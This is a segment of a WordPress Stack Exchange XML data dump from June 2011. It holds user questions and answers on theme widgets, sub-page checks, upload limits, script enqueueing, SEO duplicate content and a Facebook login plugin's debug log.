  <row Id="19769" PostTypeId="1" CreationDate="2011-06-11T08:38:17.010" Score="0" ViewCount="47" Body="&lt;p&gt;I noticed in google that actually searches in my blog are getting indexed on multiple pages resulting in duplicate content.  Suggestions on how to stop this?  example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?s=radiofixes&#xA;/page/10/?s=radiofixes&#xA;/page/11/?s=radiofixes&#xA;/page/2/?s=radiofixes&#xA;/page/3/?s=radiofixes&#xA;/page/4/?s=radiofixes&#xA;/page/5/?s=radiofixes&#xA;/page/6/?s=radiofixes&#xA;/page/7/?s=radiofixes&#xA;/page/8/?s=radiofixes&#xA;/page/9/?s=radiofixes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was thinking paramaters in google, but would I put to ignore?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-11T12:55:12.540" LastActivityDate="2011-06-11T12:55:12.540" Title="best way to stop this wordpress duplicate content" Tags="&lt;seo&gt;" AnswerCount="1" />
  <row Id="19770" PostTypeId="1" AcceptedAnswerId="19771" CreationDate="2011-06-11T10:43:58.640" Score="0" ViewCount="51" Body="&lt;p&gt;I have some custom-made widgets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $before_widget;&#xA;   if ( $title )&#xA;      echo $before_title . $title . $after_title;&#xA;echo $output;&#xA;echo $after_widget; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's assume the $title is &quot;Widget's Title&quot; and the output is &quot;Hello world&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Widget's Title&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hello world&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, I don't know where it comes, but there's container wrapping every one of my widgets, it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;widgets-id&quot; class=&quot;widget widget_name&quot;&amp;gt;&#xA;   &amp;lt;h3&amp;gt;$title&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;         &amp;lt;li&amp;gt;$output&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to change the first &quot;li&quot; into &quot;section&quot; or a &quot;div&quot;? :)&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-06-11T11:01:46.153" Title="Widget's container?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="19771" PostTypeId="2" ParentId="19770" CreationDate="2011-06-11T11:01:46.153" Score="2" ViewCount="" Body="&lt;p&gt;It's the default behavior of a dynamic sidebar to output li tags around widgets. You can &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Register_Single_Sidebar&quot; rel=&quot;nofollow&quot;&gt;override that though in the sidebar declaration&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would do that by passing the sidebar registration the following additional arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar(&#xA;  array(&#xA;    'before_widget' =&amp;gt; '&amp;lt;div id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; &quot;&amp;lt;/div&amp;gt;&quot;&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-11T11:01:46.153" />
  <row Id="19772" PostTypeId="1" CreationDate="2011-06-11T12:46:53.323" Score="1" ViewCount="49" Body="&lt;p&gt;Hi I have a domain running in WordPress, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the path to WordPress installation is &lt;code&gt;/subdomain/mywordpress/&lt;/code&gt; and I can access these in &lt;code&gt;mywordpress.mysite.com&lt;/code&gt;, Now I wish to load the index page on my main domain, ie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I goto &lt;code&gt;mysite.com&lt;/code&gt; I want to load the Index page of the WordPress, I know if that possible, the links are always pointing to &lt;code&gt;mywordpress.mysite.com&lt;/code&gt;, but that is what I need know. because I dont want to remove the &lt;code&gt;mywordpress.mysite.com&lt;/code&gt;. I just need to display all posts on my main site, with same design(that is why I prefer to load the Index file of wordpress)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2011-06-13T00:01:29.533" Title="How to run WordPress from other location on the same domain" Tags="&lt;themes&gt;&lt;installation&gt;&lt;wp-config&gt;&lt;subdomains&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19773" PostTypeId="2" ParentId="19696" CreationDate="2011-06-11T12:49:56.987" Score="1" ViewCount="" Body="&lt;p&gt;Check the date of your files. No file should have a change data newer than your last edit/install!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also this can be faked. The onliest way of being sure would be to compare (eg. hash compare) all files with the original installation files. &lt;/p&gt;&#xA;" OwnerUserId="6116" LastActivityDate="2011-06-11T12:49:56.987" />
  <row Id="19774" PostTypeId="2" ParentId="19769" CreationDate="2011-06-11T12:55:00.077" Score="1" ViewCount="" Body="&lt;p&gt;Read this &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&quot; rel=&quot;nofollow&quot;&gt;http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several WordPress SEO plugins that can help, &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=canonical&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=canonical&amp;amp;sort=&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-11T12:55:00.077" CommentCount="1" />
  <row Id="19775" PostTypeId="1" AcceptedAnswerId="19778" CreationDate="2011-06-11T13:05:26.670" Score="1" ViewCount="68" Body="&lt;p&gt;In my header I use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_page(&quot;stores&quot;)) {&#xA;    // Do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run some code if on the page &lt;code&gt;stores&lt;/code&gt; but what I want to do is run that code if the page is &lt;code&gt;stores&lt;/code&gt; or any page that is a sub page of stores. Not only that, but is recursive so if we are on a sub sub sub page of &lt;code&gt;stores&lt;/code&gt; the code still runs.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-24T01:01:28.123" Title="A function like is_page() but returns true if on any sub page of given page" Tags="&lt;pages&gt;&lt;conditional-content&gt;&lt;recursive&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="19776" PostTypeId="1" AcceptedAnswerId="19806" CreationDate="2011-06-11T13:27:09.167" Score="1" ViewCount="89" Body="&lt;p&gt;I just bought and installed the &lt;a href=&quot;http://www.justin-klein.com/projects/wp-fb-autoconnect&quot; rel=&quot;nofollow&quot;&gt;WP-Facebook-AutoConnect&lt;/a&gt; plugin but I am unable to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the debug log I got by email.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;---LOG:---&#xA;Starting login process (Client: 178.156.161.15, Version: 2.0.4, Browser: Chrome 13.0.782.15 for Mac)&#xA;PREMIUM: Premium Addon Detected (#671, Version: 22)&#xA;WP: nonce check passed&#xA;WP: Found redirect URL (http://blog.i18n.ro/wp-admin/)&#xA;FB: Initiating Facebook connection via the new API...&#xA;FB: Connected to session (uid 685872843)&#xA;FB: Got user info (Sorin Ionuț Sbârnea)&#xA;FB: Email privilege granted, but only for an anonymous proxy address (apps+116692738389663.685872843.060155133d98d19b8fa5f9c49090e749@proxymail.facebook.com)&#xA;WP: Searching for user by meta...&#xA;FP: Searching for user by email hashes (8 candidates of 8 total users)...&#xA;   Checking Users #0-7&#xA;   WARNING: Could not register hashes with Facebook (connect_registerUsers generated an exception).  Hash lookup will cease here.&#xA;WP: No user found. Automatically registering (FB_685872843)&#xA;PREMIUM: Autoregistration is Disabled; redirecting to /.&#xA;&#xA;---REQUEST:---&#xA;Array&#xA;(&#xA;   [redirectTo] =&gt; http://blog.i18n.ro/wp-admin/&#xA;   [rememberme] =&gt; 1&#xA;   [_wpnonce] =&gt; 3786067e30&#xA;   [_wp_http_referer] =&gt; /wp-login.php&#xA;)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-07-10T01:12:43.947" Title="WP-FB-AutoConnect: Unable to login with administrator account" Tags="&lt;plugins&gt;&lt;wp-fb-autoconnect&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="19777" PostTypeId="2" ParentId="19775" CreationDate="2011-06-11T13:33:32.087" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#Testing_for_sub-Pages&quot; rel=&quot;nofollow&quot;&gt;Testing for sub-Pages&lt;/a&gt; section of Conditional Tags article in Codex has fitting code example that uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_ancestors&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_ancestors()&lt;/code&gt;&lt;/a&gt; to retrieve parent tree and loops through it with check.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-11T13:33:32.087" />
  <row Id="19778" PostTypeId="2" ParentId="19775" CreationDate="2011-06-11T14:45:13.787" Score="3" ViewCount="" Body="&lt;p&gt;When using pretty permalinks, I simply check against the request;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( preg_match( '#^stores(/.+)?$#', $wp-&amp;gt;request ) ) {&#xA;    // away we go!&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No extra DB queries, little computation, and works right down the tree!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-24T01:01:28.123" LastActivityDate="2011-06-24T01:01:28.123" CommentCount="1" />
  <row Id="19779" PostTypeId="1" AcceptedAnswerId="19781" CreationDate="2011-06-11T15:39:36.893" Score="1" ViewCount="44" Body="&lt;p&gt;How can I change the standard 7MB upload limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have full shell and admin access to my Wordpress blog.&lt;/p&gt;&#xA;" OwnerUserId="6117" LastActivityDate="2011-06-11T19:01:17.547" Title="Setting higher upload limit" Tags="&lt;uploads&gt;&lt;media&gt;" AnswerCount="1" />
  <row Id="19780" PostTypeId="1" CreationDate="2011-06-11T15:41:20.467" Score="0" ViewCount="25" Body="&lt;p&gt;I want my tag cloud to show the stuff I blogged about lately more prominently.&#xA;Currently I'm using the built in tag cloud widget, which doesn't seem to have this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of an alternative tag cloud widget with this option?&lt;/p&gt;&#xA;" OwnerUserId="678" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-06-11T16:31:53.393" LastActivityDate="2011-06-11T16:31:53.393" Title="Is there a tag cloud widget that weighs recent tags higher?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;tags&gt;" />
  <row Id="19781" PostTypeId="2" ParentId="19779" CreationDate="2011-06-11T16:01:00.440" Score="2" ViewCount="" Body="&lt;p&gt;add this to your .htaccess file in the root of WordPress installation directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value upload_max_filesize 20M&#xA;php_value post_max_size 20M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can change 20 to whatever you want, unless your hosting server is limiting it it should work just fine.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Create the php.ini File and add the Following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory_limit = 20M&#xA;upload_max_filesize = 192M&#xA;post_max_size = 20M&#xA;file_uploads = On&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then Upload the File to your wp-admin Directory.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-11T19:01:17.547" LastActivityDate="2011-06-11T19:01:17.547" CommentCount="7" />
  <row Id="19782" PostTypeId="2" ParentId="16909" CreationDate="2011-06-11T16:03:11.610" Score="1" ViewCount="" Body="&lt;p&gt;There is no simple way to do this via &lt;code&gt;WP_Query()&lt;/code&gt;. Depending how many categories you have, the following may not be a good idea. If you have ~20 you may be ok. So, instead of saying &quot;all posts excluding ones in 37&quot;, you would do &quot;get me everything in all terms (not specifying term_id 37&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this you need to use a &lt;code&gt;category__in&lt;/code&gt; for all your other categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get all the category IDs (except 37)&#xA;$categories = get_terms( 'category', array( 'exclude' =&amp;gt; array( 37 ), 'fields' =&amp;gt; 'ids' ) );&#xA;&#xA;query_posts( array( 'category__in' =&amp;gt; $categories ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you all posts that are in a category other than/aswel as 37. However, doing this on a large amount of categories will start to slow the query down (I am thinking +40,000 posts for example).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-06-11T16:03:11.610" />
  <row Id="19783" PostTypeId="2" ParentId="19775" CreationDate="2011-06-11T16:05:09.597" Score="3" ViewCount="" Body="&lt;p&gt;Handy little function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function is_child_of($parent) {&#xA;    global $post;&#xA;    if ( $post-&amp;gt;post_parent == $parent){&#xA;        return true&#xA;    }else{&#xA;        $curent_parent = $post-&amp;gt;post_parent;&#xA;        $dec = false;&#xA;        while ($curent_parent &amp;gt; 0){&#xA;            $p = get_post($curent_parent);&#xA;            $curent_parent = $p-&amp;gt;post_parent;&#xA;            if ($curent_parent &amp;gt; 0){&#xA;                if ($curent_parent == $parent){&#xA;                    return true;&#xA;                }&#xA;            }&#xA;        }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage:&#xA;check if current is a child of a page with the ID of 22&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_child_of(22)){&#xA;  //its a child of 22&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-11T16:27:34.873" LastActivityDate="2011-06-11T16:27:34.873" CommentCount="2" />
  <row Id="19784" PostTypeId="1" AcceptedAnswerId="19785" CreationDate="2011-06-11T16:20:02.317" Score="2" ViewCount="55" Body="&lt;p&gt;Is there a convenient and configurable way to alternate between different header images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main features I'm looking for are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Random select from a set of images&lt;/li&gt;&#xA;&lt;li&gt;Specific header image in given date range (a la &lt;a href=&quot;http://en.wikipedia.org/wiki/Google_logo#Google_Doodle&quot; rel=&quot;nofollow&quot;&gt;Google Doodle&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Specific header image for specific posts or pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6117" LastActivityDate="2011-06-11T17:33:44.577" Title="Alternate header image" Tags="&lt;themes&gt;&lt;image&gt;&lt;design&gt;" AnswerCount="1" />
  <row Id="19785" PostTypeId="2" ParentId="19784" CreationDate="2011-06-11T16:57:01.520" Score="2" ViewCount="" Body="&lt;p&gt;You can try this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Random from a set of images :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://www.mywebsite.com/images/image_&amp;lt;?php echo rand(1,10); ?&amp;gt;.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would load a random image from image_1.jpg, image_2.jpg ... to image_10.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = array(&quot;cool_image.jpg&quot;, &quot;nice_pic.jpg&quot;, &quot;sunset.jpg&quot;);&#xA;$rand = array_rand($images);&#xA;&#xA;&amp;lt;img src=&quot;http://www.mywebsite.com/images/&amp;lt;?php echo $images[$rand]; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would select a randow image from thoses specified in the $images array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Date range :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ((date('m') == 3) &amp;amp;&amp;amp; (date('d') == 17)) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;http://www.mywebsite.com/images/stpatrick.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would show an image for St Patricks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specific posts or pages :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See : &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19582/change-image-based-on-menu-item-id/19583#19583&quot;&gt;Change image based on menu item id&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-11T17:33:44.577" LastActivityDate="2011-06-11T17:33:44.577" CommentCount="2" />
  <row Id="19786" PostTypeId="2" ParentId="19529" CreationDate="2011-06-11T18:01:18.893" Score="0" ViewCount="" Body="&lt;p&gt;Based on the comments above: check for custom &lt;code&gt;define()&lt;/code&gt; calls for &lt;code&gt;STYLESHEETPATH&lt;/code&gt; and &lt;code&gt;TEMPLATEPATH&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-11T18:01:18.893" />
  <row Id="19787" PostTypeId="1" CreationDate="2011-06-11T18:37:54.313" Score="0" ViewCount="56" Body="&lt;p&gt;I'm working With WP E-Commerce plugin. I was able to implement the disqus comment box under the single product pages. But Now I need the comment count on the main 'product page' under each product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions on the Disqus website say to attach the &quot;#disqus_thread&quot; tag to the end of the url so that the javascript code can find it and find the comment count per product. But the WP &amp;amp; the e-commerce system uses PermaLinks.  I tried, through the permalinks settings page in wordpress, to append the #disqus_thread to the end of each permalink. But it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I can I attach the &quot;#disqus_thread&quot; tag to the end of my permalinks so that the script can find it and show the comment count for each product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://beats.bignotch.com&quot; rel=&quot;nofollow&quot;&gt;http://beats.bignotch.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6120" LastActivityDate="2011-06-11T18:37:54.313" Title="Disqus comment Count for each product (Wordpress E-Commerce)" Tags="&lt;plugin-wp-e-commerce&gt;" />
  <row Id="19788" PostTypeId="2" ParentId="19776" CreationDate="2011-06-11T19:23:04.587" Score="2" ViewCount="" Body="&lt;p&gt;Facebook's connect.registerUsers method is deprecated and doesn't work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the plugin is out of date.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-11T19:23:04.587" CommentCount="2" />
  <row Id="19790" PostTypeId="1" AcceptedAnswerId="19793" CreationDate="2011-06-11T22:14:32.840" Score="1" ViewCount="45" Body="&lt;p&gt;I have posts which i would like to put in to 3 categories News, Events, and Press Releases, then i have three pages which are using the same template. I would like to display those posts on to relevant pages so News posts on News page etc. &#xA;Could someone tell me what would be the best way to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess its something easy but I'm fairly new to Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks, &lt;/p&gt;&#xA;" OwnerUserId="4986" LastActivityDate="2011-06-11T23:12:13.683" Title="post categories" Tags="&lt;posts&gt;&lt;categories&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="19791" PostTypeId="1" AcceptedAnswerId="19796" CreationDate="2011-06-11T22:48:56.970" Score="1" ViewCount="51" Body="&lt;p&gt;I want to change the name and menu_name of the profile menu in the default menu without altering the core files.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-06-12T03:09:22.593" Title="Change name &amp; menu_name for Profile in the default menu, w/o altering core files?" Tags="&lt;menus&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19792" PostTypeId="1" AcceptedAnswerId="19803" CreationDate="2011-06-11T23:11:05.410" Score="2" ViewCount="112" Body="&lt;p&gt;I'm queueing several scripts in my themes Functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists('b99_init_scripts') ) :&#xA;    function b99_init_scripts(){&#xA;&#xA;        if ( !is_admin()){&#xA;            wp_deregister_script('jquery');&#xA;            wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js', false, null, false);&#xA;            wp_enqueue_script('jquery');&#xA;&#xA;        wp_register_script('B99', get_template_directory_uri().'/javascript/site/B99.js', array('jquery'), null, false);&#xA;            wp_enqueue_script('B99');&#xA;&#xA;        wp_register_script('B99-Nav', get_template_directory_uri().'/javascript/site/module/B99.Navigation.js', array('B99'), null, false );&#xA;        wp_enqueue_script('B99-Nav');&#xA;&#xA;            if ( is_page('portfolio') || is_front_page() ){&#xA;                wp_register_script('B99-Portfolio', get_template_directory_uri().'/javascript/site/module/B99.Portfolio.js', array('B99-Nav'), null, false);&#xA;                wp_enqueue_script('B99-Portfolio');&#xA;            } // fails if add_action is set to 'init'&#xA;&#xA;            if ( is_singular() &amp;amp;&amp;amp; get_option( 'thread_comments' ) ){&#xA;                wp_enqueue_script( 'comment-reply' );&#xA;            }&#xA;        }&#xA;    }&#xA;    endif;&#xA;    add_action( 'wp_enqueue_scripts', 'b99_init_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have read that the proper place to add_action is to 'init'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'b99_init_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, my &lt;code&gt;is_page('xxx')&lt;/code&gt; checks all fail during init. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coded as I have pasted above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_enqueue_script', 'b99_init_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works as expected and the page checks work normally, but I don't think I should be deregistering, registering, and enqueueing during the wp_enqueue_scripts routine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better location to hook into, or can I alter my page check during init to function correctly  (I assume the page check doesn't work because the needed queries haven't fired yet).&lt;/p&gt;&#xA;" OwnerUserId="5430" LastActivityDate="2011-06-12T06:07:05.833" Title="Correct place to register and enqueue scripts" Tags="&lt;javascript&gt;&lt;wp-enqueue-script&gt;&lt;add-action&gt;" AnswerCount="2" />
  <row Id="19793" PostTypeId="2" ParentId="19790" CreationDate="2011-06-11T23:12:13.683" Score="1" ViewCount="" Body="&lt;p&gt;You could simply use the category pages WordPress generates using the &lt;code&gt;category.php&lt;/code&gt; template, or &lt;code&gt;category-{slug}.php&lt;/code&gt;. If you don't like the /category/categoryname/ url format WP uses, there are a few plugins that remove the category base- I use Yoast SEO plugin for this, which gives you lots of other great features on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other option is to create a special template for these pages with some additional code to load posts from your category. &lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;The WP Codex actually has exactly this code for you&lt;/a&gt; already, using a custom field on each page to designate which category you'd like it to load.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-11T23:12:13.683" CommentCount="4" />
  <row Id="19794" PostTypeId="2" ParentId="19792" CreationDate="2011-06-11T23:31:43.427" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_enqueue_scripts&lt;/code&gt; is fine if it works for you. or &lt;code&gt;wp_print_scripts&lt;/code&gt; is also an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the point of &lt;code&gt;wp_register_script&lt;/code&gt; is so you can register something anywhere in your code if you have multiple potential dependencies, and then just enqueue once in the proper location. if you're doing it all in one place you can just skip registering it and just enqueue it straight away, the results will be the same.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-11T23:31:43.427" CommentCount="1" />
  <row Id="19795" PostTypeId="1" CreationDate="2011-06-09T22:54:53.940" Score="0" ViewCount="44" Body="&lt;p&gt;I am having difficulty with Wordpress continually changing my code on me. IE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FROM THIS:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_stylesheet_directory_uri(); ?&amp;gt;/js/swfobject.js&quot; &amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TO:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;&amp;amp;lt;?php echo get_stylesheet_directory_uri(); ?&quot; type=&quot;text/javascript&quot;&amp;gt;// &amp;lt;![CDATA[&#xA;/js/swfobject.js&quot; &amp;gt;&#xA;// ]]&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it's driving me crazy... is there anyway to disable this from happening?&#xA;I will be having other people edit these pages so to disable the &quot;GUI EDITOR in the users profile&quot; doesn't seem like a good solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-12T20:22:58.743" Title="Wordpress converting my code" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19796" PostTypeId="2" ParentId="19791" CreationDate="2011-06-12T03:09:22.593" Score="1" ViewCount="" Body="&lt;p&gt;you could filter gettext to change it. Note that this will change every translatable instance of &quot;Profile&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_admin_profile_to_account( $thename ){&#xA;    $thename = str_replace( 'Profile', 'Account', $thename );&#xA;    return $thename;&#xA;}&#xA;add_filter( 'gettext', 'change_admin_profile_to_account' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-12T03:09:22.593" CommentCount="1" />
  <row Id="19797" PostTypeId="2" ParentId="16906" CreationDate="2011-06-12T03:14:28.443" Score="1" ViewCount="" Body="&lt;p&gt;You would be shocked and amazed at how difficult this is to do properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/prevent-multiple-login-using-a-single-id?replies=3&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/prevent-multiple-login-using-a-single-id?replies=3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-12T03:14:28.443" />
  <row Id="19798" PostTypeId="2" ParentId="8191" CreationDate="2011-06-12T04:57:22.507" Score="1" ViewCount="" Body="&lt;p&gt;I think you are using a child theme of TwentyTen and in TwentyTen theme you have this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set_post_thumbnail_size( HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT, true );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and HEADER_IMAGE_HEIGHT is 198px.&lt;/p&gt;&#xA;" OwnerUserId="6125" LastActivityDate="2011-06-12T04:57:22.507" />
